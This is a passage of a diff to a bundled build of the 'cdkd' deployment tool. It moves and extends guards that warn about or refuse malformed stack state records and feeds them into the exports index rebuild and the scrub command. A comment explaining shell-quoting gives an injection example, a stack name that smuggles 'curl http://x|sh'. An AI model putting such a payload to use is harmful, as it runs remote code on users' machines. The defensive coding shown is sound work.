+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedOutputsWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a command that can WRITE state: refuse the record by name instead of
+* repairing it.
+*
+* Repairing is actively DANGEROUS here, and the PR that introduced this module
+* shipped that danger for one round before its security review caught it.
+* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
+* change alone satisfies — so a record holding `"resources": null` and a
+* plaintext secret in `outputs` would be scrubbed, and then saved back with a
+* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
+* signal that anything is wrong; laundering it into a legitimate-looking empty
+* one is permanent and silent. The next `cdkd deploy` then reads zero resources
+* and CREATES the whole stack a second time, and the next `cdkd destroy`
+* deletes nothing and orphans every live resource — and the one-shot warning
+* that would have said so is long gone, quite possibly for a different
+* operator. `cdkd import --force` launders it the same way.
+*
+* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
+* this names the stack, the region, the defect and the remedy, and exits on a
+* code rather than on a stack trace.
+*/
+function refuseMalformedState(state, stackName, region) {
+	if (hasReadableResources(state)) return;
+	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+/**
+* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
+* reason that one is exported separately from the throw: `cdkd scrub`'s exit
+* `1` is spoken for and it raises its own exit-2 class around this text.
+*
+* A DIFFERENT text from the `resources` refusal because the consequence of
+* continuing differs, the same way the three warnings in this module differ. The
+* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
+* unreadable resource MAP is indistinguishable from an empty stack; the resource
+* set is intact here. What is at stake instead is the SHARED exports index:
+* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
+* bag published one fabricated export per character into the namespace every
+* other stack's `Fn::ImportValue` binds against.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedOutputsRefusalMessage(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The line `ExportIndexStore`'s rebuild emits for a producer record whose
+* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
+* plain object, or `exportNames` present and not an array.
+*
+* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
+* consequence is again different, which is the rule the two above already
+* follow. That one describes a DIFF continuing with an empty left-hand side.
+* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
+* other stacks resolve against — so the symptom a reader will actually meet is
+* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
+* and not this record. Saying which producer dropped out is the whole value of
+* the line.
+*
+* It says the rebuild CONTINUES, because it does: refusing would take every
+* other producer in the region down with it, and the index is best-effort by
+* design.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedExportSourceWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
+* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
+* array with no usable name in it.
+*
+* Why a message at all, when the predicate already fails closed: before this
+* class was guarded, `cdkd diff` over such a record died with
+* `TypeError: state.exportNames.filter is not a function`. Failing closed
+* inside `importableOutputKeys` is right — it is a pure predicate reached from
+* five commands and holds no stack identity — but silently replacing a LOUD
+* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
+* exactly the caller that DOES hold the identity. Without this it warned about
+* a damaged `outputs` bag on one line and said nothing about the damaged
+* `exportNames` on the same record.
+*
+* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
+* the BAG, and the consequence differs. An unusable export SET does not lose
+* the comparison's left-hand side — every stored key is still diffed — it
+* makes the preview report no key as an export, so a row that would carry
+* `[export]` renders without it.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedExportNamesWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a command that can WRITE state: refuse a record whose `outputs` bag
+* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
+*
+* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
+* rather than a widening of that one. A record can be malformed in either
+* container alone, the two carry different consequences, and the refusal a user
+* sees must name the container that is actually broken — a `resources` message
+* printed over an intact resource map tells them not to run `cdkd deploy` for a
+* reason that does not hold.
+*
+* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
+* opposite answer for the same container one function up: repairing the bag and
+* then saving it IS the laundering this is here to stop. Measured, not
+* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
+* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
+* `redactUnaccountedOutputs` spreads the same string into a map and its
+* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
+* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
+* damaged record into a well-formed one and the evidence is gone.
+*
+* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
+* expression that reads the bag — the placement rule
+* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
+* records: a guard written at the rebuild leaves every earlier dereference in
+* front of it.
+*/
+function refuseMalformedOutputs(state, stackName, region) {
+	if (hasReadableOutputs(state)) return;
+	throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+
 //#endregion
 //#region src/state/export-index-store.ts
 /**
@@ -3928,8 +4342,13 @@ var ExportIndexStore = class {
 		}));
 		const survivorModifiedAt = /* @__PURE__ */ new Map();
 		for (const { ref, state } of results) {
-			if (!state || !state.outputs) continue;
+			if (!state) continue;
+			if (state.outputs === void 0) continue;
 			const region = ref.region ?? this.region;
+			if (!hasReadableExportSet(state)) {
+				this.logger.warn(malformedExportSourceWarning(ref.stackName, region));
+				continue;
+			}
 			const stateModified = state.lastModified ?? 0;
 			for (const [name, value] of Object.entries(importableOutputs(state))) {
 				const existing = entries.get(name);
@@ -64007,315 +64426,6 @@ function createDeployCommand() {
 	return cmd;
 }
 
-//#endregion
-//#region src/state/malformed-resources-bag.ts
-/** The error code every malformed-record refusal carries, whatever its class. */
-const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
-/**
-* Answer the ONE question both helpers below key on: can this record's
-* resource map be read at all?
-*
-* Widened past `null` / `undefined` because the message says "no readable
-* resources map" and a hand-edited record does not stop at those two: a
-* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
-* empty or, for the string, absurd — repaired silently and warned about
-* nowhere. The predicate is the plain-object test the bag's own type implies.
-*/
-function hasReadableResources(state) {
-	return isReadableBag(state.resources);
-}
-/**
-* The plain-object test itself, without the `resources` field bound to it.
-*
-* Exported because {@link hasReadableResources} is not the only caller any
-* more. Spelling the same test a second time at any of them is what this export
-* exists to prevent: the copies could then drift, and the one that drifted
-* would fabricate again while looking guarded.
-*
-* The consumers outside this module, DERIVED from
-* `grep -rn "isReadableBag" src/` rather than from recall — re-run that command
-* rather than trusting this list, which is the third enumeration in this
-* module's history to be written by reasoning and come out incomplete:
-*
-* - `src/cli/commands/state.ts` (3 call sites, all in `repairRenderedContainers`):
-*   `cdkd state show` and `cdkd state resources` walk FOUR more record
-*   containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
-*   resource's `attributes` and `properties` — and a non-object in any of them
-*   fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
-* - `src/analyzer/outputs-diff.ts` (1 call site, in `computeOutputsDiff`):
-*   `cdkd diff` walks the stored `outputs` bag to emit its `REMOVE` rows, and a
-*   string there invented one row per character (go-to-k/cdkd#3189). This one is
-*   CROSS-LAYER — the analyzer sits above the state layer, so the import is
-*   downward and carries no cycle, but it means an edit here reaches a layer the
-*   two `resources`-bag callers do not.
-*
-* What it does NOT decide is whether a given container is malformed. That is a
-* per-container call, because absence means different things: an absent
-* `resources` bag is a defect ({@link hasReadableResources} says so), while an
-* absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
-* this predicate with its own absence rule.
-*/
-function isReadableBag(container) {
-	return typeof container === "object" && container !== null && !Array.isArray(container);
-}
-/**
-* The shared explanation, in the terms the reader needs: what is wrong, what
-* to look at, and what NOT to do next.
-*
-* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
-* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
-* `.claude/rules/layout-state-types.md` require of any suggestion a user is
-* meant to paste, for two separate reasons.
-*
-* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
-* printable-ASCII allowlist, so it removes the line- and escape-forgery class
-* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
-* trusted here, since a stack name reaches the cross-stack read path from an
-* `Fn::GetStackOutput` argument or an S3 key. A name spelled
-* `a'; curl http://x|sh; echo '` would close the quoting and append its own
-* command to the line this text tells the user to RUN.
-*
-* Wrapping the command in `'...'` is not enough either, and is what makes the
-* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
-* produces something unpastable. Hence unwrapped and last.
-*
-* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
-* nothing — an empty argument makes `--stack-region` swallow the next flag,
-* turning a remedy into a differently-broken command.
-*/
-function safeIdentifier(value) {
-	const safe = displaySafe(value, { asciiOnly: true });
-	if (!safe) return UNRENDERABLE;
-	const { text, truncated } = truncateCodePoints(safe, 128);
-	return truncated ? `${text}...` : text;
-}
-function malformedStateDetail(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* For a READ-ONLY command: give the record an empty resource bag so the
-* command can report on it, and say so (issue go-to-k/cdkd#3018).
-*
-* `parseStateBody` deliberately does not validate the inner shape, so a
-* hand-edited or truncated record reaches a command with `resources` absent,
-* `null`, or some other non-object. Every such command then died on a raw
-* `TypeError` from the first `Object.keys` / `in` / index read — the exact
-* wording differs per shape (`Cannot convert undefined or null to object`,
-* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
-* them names a stack, a key or a remedy, from exactly the commands a user
-* reaches for WHEN the state is broken.
-*
-* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
-* the twelve `Object.entries(state.resources)` loops, which was inert: every
-* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
-* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
-* happened one line up and the guards only made it look handled. One call per
-* load dominates the whole flow behind it, including the helpers that take the
-* state as a parameter (`orphan-rewriter`, `diff-calculator`,
-* `collectCcApiRoutes`).
-*
-* Mutates in place and returns whether it repaired anything; the caller warns
-* on `true`. A silent repair is its own defect — an empty resource set is
-* indistinguishable from a healthy empty stack in every later line of output,
-* so `No changes detected` over an unreadable record is a clean verdict about
-* nothing.
-*
-* **Only for a command that cannot WRITE state.** Anything that can persist
-* uses {@link refuseMalformedState} instead; see its note.
-*/
-function repairMalformedResourcesForReadOnly(state) {
-	if (hasReadableResources(state)) return false;
-	state.resources = {};
-	return true;
-}
-/**
-* The refusal TEXT, for a command whose own exit-code contract means this
-* cannot be a plain `CdkdError`.
-*
-* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
-* plaintext") and every one of its refusals carries `exitCode = 2`, because a
-* CI gate reading the code alone must be able to tell "scrub looked and found
-* a leak" from "scrub refused to look" — the two call for opposite responses.
-* So scrub tests {@link hasReadableResources} and raises its own class around
-* this text rather than calling {@link refuseMalformedState}.
-*
-* The other three refusing commands do NOT share that need, and giving them a
-* single shared code would be wrong in the other direction: `cdkd rollback`
-* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
-* would tell an operator to re-run a command that attempted nothing.
-*/
-function malformedStateRefusalMessage(stackName, region) {
-	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
-}
-/**
-* The warning a view emits when it emptied one or more {@link
-* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
-*
-* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
-* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
-* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
-* from an empty stack: deploy would re-CREATE everything and destroy would
-* delete nothing. No container named here can produce that specific confusion —
-* the resource SET is still readable — so borrowing that sentence would attach
-* a re-create-the-world warning to a record whose resource list is intact.
-*
-* It is NOT that these containers are display-only. `properties` is read by the
-* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
-* nothing from this module, and a non-object there compares unequal to any
-* desired object and yields a spurious property-change set — filed as
-* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
-* display-only premise, which would have read as licence to drop a guard on
-* that path (review of go-to-k/cdkd#3190).
-*
-* What stays the same is the remedy: `--json` is the mode that shows the
-* stored value.
-*
-* ONE warning per record however many containers it names — a stack whose 500
-* resources all carry a hand-edited `properties` gets one line, not 500. The
-* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
-* stable across records. Not `.sort()` — that order is deliberately not
-* alphabetical, and its own JSDoc says so.
-*
-* Both identifiers are sanitized and then shell-quoted, and the command is
-* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
-* gives.
-*
-* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
-* they cannot drift from it — but NOT `shellQuote`, because they appear in the
-* PROSE and never inside the command this text tells the reader to run; the
-* command carries the two identifiers and nothing else.
-*
-* Sanitizing them is not dead code written for a case that cannot happen. The
-* union above is closed at COMPILE time, so without this the guarantee would
-* live in a comment, and the day a caller derives a name from a record instead
-* of from a literal an unsanitized element could forge a line, render as empty
-* quotes naming nothing, or run to kilobytes and push the remedy command off
-* the reader's screen. `safeIdentifier` closes all three and is the identity on
-* all four literals, so no user-visible text moves.
-*
-* What it does NOT close, stated rather than reassured away: a forged name made
-* only of printable ASCII still renders verbatim inside its quotes and could
-* read as prose. That residual is bounded to the PROSE — the command the reader
-* pastes is built from the two shell-quoted identifiers alone — and closing it
-* would mean JSON-quoting a name in the one place the text is meant to read as
-* English (review of go-to-k/cdkd#3190).
-*/
-function malformedRenderedContainersWarning(stackName, region, containers) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
-function malformedResourcesWarning(stackName, region) {
-	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
-}
-/**
-* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
-* READ-ONLY command that DIFFS the stored bag rather than rendering it
-* (go-to-k/cdkd#3189).
-*
-* `computeOutputsDiff` enumerates the stored bag twice, the second walk
-* emitting one `REMOVE` row per stored key today's template no longer declares.
-* It used to admit the bag on a bare `?? {}`, which covers `null` and
-* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
-* a string or a list previewed the REMOVAL of outputs that never existed, one
-* row per character or element, each carrying a character of the record as its
-* `old:` side, with `cdkd diff --fail` exiting 1 on them.
-*
-* AT THE LOAD, for the reason
-* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
-* that is specific to this container: `cdkd diff` dereferences the stored bag
-* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
-* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
-* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
-* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
-* outright on `null` (`Cannot convert undefined or null to object`). So a guard
-* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
-* `TypeError`, one call above it.
-*
-* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
-* {@link isReadableBag}'s verdict, and the split is measured rather than
-* stylistic. Both stored-bag lookups named above gate on
-* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
-* bag never reaches one; every other consumer on the diff path carries its own
-* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
-* function's own walk). An absent bag is therefore inert, exactly the condition
-* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
-* would be a false positive on a record cdkd itself supports: `cdkd scrub`
-* round-trips a record with no `outputs` deliberately, refusing to materialize
-* `{}` over it, and the deploy's failure-path saves write
-* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
-* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
-* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
-* like any other unreadable shape.
-*
-* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
-* purpose: it asked that a `null` bag "diff exactly as it does today and say
-* nothing", and diffing exactly as it does today means THROWING. Recorded on
-* the issue rather than silently traded.
-*
-* Mutates in place and returns whether it repaired anything; the caller warns
-* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
-* the reason {@link refuseMalformedState} gives — a bag laundered into a
-* well-formed empty one is permanent, and for `outputs` it would also take the
-* exports index with it on the next write.
-*/
-function repairMalformedOutputsForReadOnly(state) {
-	if (state.outputs === void 0 || isReadableBag(state.outputs)) return false;
-	state.outputs = {};
-	return true;
-}
-/**
-* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
-*
-* Deliberately neither {@link malformedResourcesWarning}'s text nor
-* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
-* continuing empty differs from both. The resources text forbids
-* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
-* indistinguishable from an empty stack; the resource set is intact here. The
-* rendered-containers text says the view "shows no rows there" — true of a
-* renderer, false of a diff, which does not go quiet on an empty stored bag but
-* reports every resolved output as an `ADD`. Saying so is the point: an
-* operator who reads `ADD` rows for outputs the stack already has needs to know
-* the comparison lost its left-hand side.
-*
-* Identifiers are sanitized and then shell-quoted and the command is emitted
-* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
-*/
-function malformedOutputsWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* For a command that can WRITE state: refuse the record by name instead of
-* repairing it.
-*
-* Repairing is actively DANGEROUS here, and the PR that introduced this module
-* shipped that danger for one round before its security review caught it.
-* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
-* change alone satisfies — so a record holding `"resources": null` and a
-* plaintext secret in `outputs` would be scrubbed, and then saved back with a
-* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
-* signal that anything is wrong; laundering it into a legitimate-looking empty
-* one is permanent and silent. The next `cdkd deploy` then reads zero resources
-* and CREATES the whole stack a second time, and the next `cdkd destroy`
-* deletes nothing and orphans every live resource — and the one-shot warning
-* that would have said so is long gone, quite possibly for a different
-* operator. `cdkd import --force` launders it the same way.
-*
-* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
-* this names the stack, the region, the defect and the remedy, and exits on a
-* code rather than on a stack trace.
-*/
-function refuseMalformedState(state, stackName, region) {
-	if (hasReadableResources(state)) return;
-	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
-}
-
 //#endregion
 //#region src/analyzer/outputs-diff.ts
 /**
@@ -65837,6 +65947,7 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
 	if (result) {
 		if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
 		if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
+		if (isReadableBag(result.state.outputs) && !hasReadableExportSet(result.state)) logger.warn(malformedExportNamesWarning(stackName, region));
 		return result.state;
 	}
 	return {
@@ -67147,6 +67258,24 @@ async function scrubCommand(stacks, options) {
 	* audit this run could not perform is a FINDING, never a clean result.
 	*/
 	const malformedRecords = [];
+	/**
+	* The same, for the `outputs` bag (issue go-to-k/cdkd#3192). A SECOND list
+	* rather than a shared one: the two containers carry different consequences
+	* and {@link malformedRecordsAuditedError} names which was unreadable, so
+	* merging them would print a sentence about resources over a record whose
+	* resource map was fine.
+	*/
+	const malformedOutputRecords = [];
+	/**
+	* Stacks whose scrub met a PRODUCER record with an unreadable `outputs` map
+	* (go-to-k/cdkd#3192 review round 5).
+	*
+	* Its own list rather than a counter because the refusal NAMES the stacks,
+	* and its own list rather than a share of `malformedOutputRecords` because
+	* those name records THIS run was scrubbing while these name records it only
+	* READ — different remedy, different sentence.
+	*/
+	const damagedProducerStacks = [];
 	const failures = [];
 	const exportIndexStores = /* @__PURE__ */ new Map();
 	const exportIndexFor = (indexRegion) => {
@@ -67224,13 +67353,15 @@ async function scrubCommand(stacks, options) {
 			logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
 		} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && scrubbed.unverifiableLeaves === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
 		if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
+		if (scrubbed.malformedOutputs) malformedOutputRecords.push(stack.stackName);
 		if (scrubbed.unverifiableLeaves > 0) {
 			totalStacksWithUnverifiableLeaves++;
 			logger.warn(`${scrubbed.unverifiableLeaves} scan(s) in ${stack.stackName} were ABANDONED mid-value because a {{resolve:...}} reference could not be resolved (see the warnings above). The resolver stops at the first failing token, so a real secret after it in the same value recorded no needle — this stack is not reported clean. The count is per abandoned SCAN, not per secret: one record can contribute more than once (an output whose Export.Name and Value both abandon), and one abandoned scan can hide several unexamined leaves.`);
 		}
+		if (scrubbed.unverifiableProducerRecords > 0) damagedProducerStacks.push(stack.stackName);
 		if (scrubbed.unverifiableReads > 0) {
 			totalStacksWithUnverifiableReads++;
-			logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
+			logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified (see the warnings above for which, and why) — so this stack is not reported clean.`);
 		}
 		if (scrubbed.secretBearingKeys > 0) {
 			totalStacksWithUnscrubbableKeys++;
@@ -67258,7 +67389,7 @@ async function scrubCommand(stacks, options) {
 		totalIndexEntriesUnexamined += unexamined.length;
 		logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
 	}
-	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalStacksWithUnverifiableLeaves === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
+	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalStacksWithUnverifiableLeaves === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0 && malformedOutputRecords.length === 0) {
 		if (failures.length === 0) {
 			logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
 			return;
@@ -67269,7 +67400,7 @@ async function scrubCommand(stacks, options) {
 	const failureNote = failures.length > 0 ? ` ${failures.length} stack(s) could NOT be scrubbed at all and are NOT covered by this summary — see the errors above.` : "";
 	const keyNote = totalStacksWithUnscrubbableKeys > 0 ? ` ${totalStacksWithUnscrubbableKeys} stack(s) hold plaintext in an output KEY, which cdkd scrub cannot rewrite — rename that output's Export.Name and redeploy.` : "";
 	const leafNote = totalStacksWithUnverifiableLeaves > 0 ? ` ${totalStacksWithUnverifiableLeaves} stack(s) had a {{resolve:...}} scan ABANDONED mid-value, so part of their state was never examined (see the warnings above).` : "";
-	const unverifiableNote = totalStacksWithUnverifiableReads > 0 ? ` ${totalStacksWithUnverifiableReads} stack(s) carry a cross-stack read cdkd declines to perform, so their imported values could NOT be checked — export a non-secret value (e.g. the secret's ARN) from the producer, or reference it from within its own account.` : "";
+	const unverifiableNote = totalStacksWithUnverifiableReads > 0 ? ` ${totalStacksWithUnverifiableReads} stack(s) carry a cross-stack read that could NOT be verified, so their imported values were not checked — see the warnings above for which read, why, and what to do about it.` : "";
 	const indexNote = (() => {
 		const parts = [];
 		if (totalIndexEntriesConverged > 0) parts.push(options.dryRun ? ` ${totalIndexEntriesConverged} exports index entr${totalIndexEntriesConverged === 1 ? "y" : "ies"} differ from the producer's scrubbed state.outputs and would be converged to it (--dry-run, nothing written).` : ` ${totalIndexEntriesConverged} exports index entr${totalIndexEntriesConverged === 1 ? "y" : "ies"} converged to the producer's state.outputs value. exports.json is written with the same PutObject state.json is, so on a VERSIONED bucket the pre-repair body survives as a noncurrent version and stays readable with GetObject and a VersionId.`);
@@ -67282,7 +67413,8 @@ async function scrubCommand(stacks, options) {
 		else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 		if (failures.length > 0) throw scrubStacksFailedError(failures);
 		if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
-		if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
+		if (malformedRecords.length > 0 || malformedOutputRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords, malformedOutputRecords);
+		if (damagedProducerStacks.length > 0) throw damagedProducerRecordsError(damagedProducerStacks);
 		if (options.fail) throw new ScrubNeededError();
 		return;
 	}
@@ -67290,7 +67422,8 @@ async function scrubCommand(stacks, options) {
 	else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 	if (failures.length > 0) throw scrubStacksFailedError(failures);
 	if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
-	if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
